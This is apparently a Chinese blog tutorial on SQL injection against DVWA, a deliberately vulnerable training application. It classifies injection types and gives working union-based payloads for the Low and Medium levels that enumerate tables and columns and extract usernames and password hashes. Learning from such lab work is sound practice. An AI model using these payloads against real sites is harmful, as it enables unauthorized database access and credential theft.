DVWA中SQL注入

一、SQL注入原理

原理:攻击者通过Web应用程序利用SQL语句或字符串将非法的数据插入到服务器端数据库中,获取数据库的管理用户权限,然后将数据库管理用户权限提升至操作系统管理用户权限,控制服务器操作系统,获取重要信息或机密文件。

二、SQL注入分类
1、按照数据提交方式分类

(1)GET 注入
(2)POST 注入
(3)Cookie 注入
(4)HTTP 头部注入

2、按照注入点分类

(1)数字型注入点
(2)字符型注入点
(3)搜索型注入点

3、按照执行效果分类

(1)基于布尔的盲注
(2)基于时间的盲注
(3)基于报错的注入
(4)联合查询注入
(5)堆叠注入
(6)宽字节注入

三、SQL注入流程

(1)判断是否存在注入,是数字型还是字符型
(2)猜解SQL查询语句中的字段数
(3)确定显示位置
(4)获取当前数据库
(5)获取数据库中的表
(6)获取表中的字段名
(7)下载数据

四、DVWA中SQL Injection
1、Low级别

在这里插入图片描述

1)判断注入类型(字符型)
1' and '1'='1
1' and '1'='22)猜解SQL查询语句中的字段数
1' order by 1 #
1' order by 2 #3)确定显示位置
1' union select 1,2 #
(4)获取当前数据库及数据库版本
1' union select database(),version() #5)获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
(6)获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #7)查询用户名和密码
1' union select group_concat(user),group_concat(password) from users #
2、Medium级别

(1)页面无法输入SQL语句,使用burp suite抓包分析;
在这里插入图片描述
(2)使用burp suite抓包,将数据放到Repeater中尝试注入
在这里插入图片描述
在这里插入图片描述

1)判断注入类型(数字型)
1 and 1=1
1 and 1=22)猜解SQL查询语句中的字段数
1 order by 1 
1 order by 23)确定显示位置
1 union select 1,24)获取当前数据库及数据库版本
1 union select database(),version()5)获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()6)获取表中的字段名(将users转化为hex,数据库可以识别)
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572737)查询用户名和密码
1 union select group_concat(user),group_concat(password) from users 
3、High级别

字符型注入,和低级别类似

4、Impossible级别

在这里插入图片描述

  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值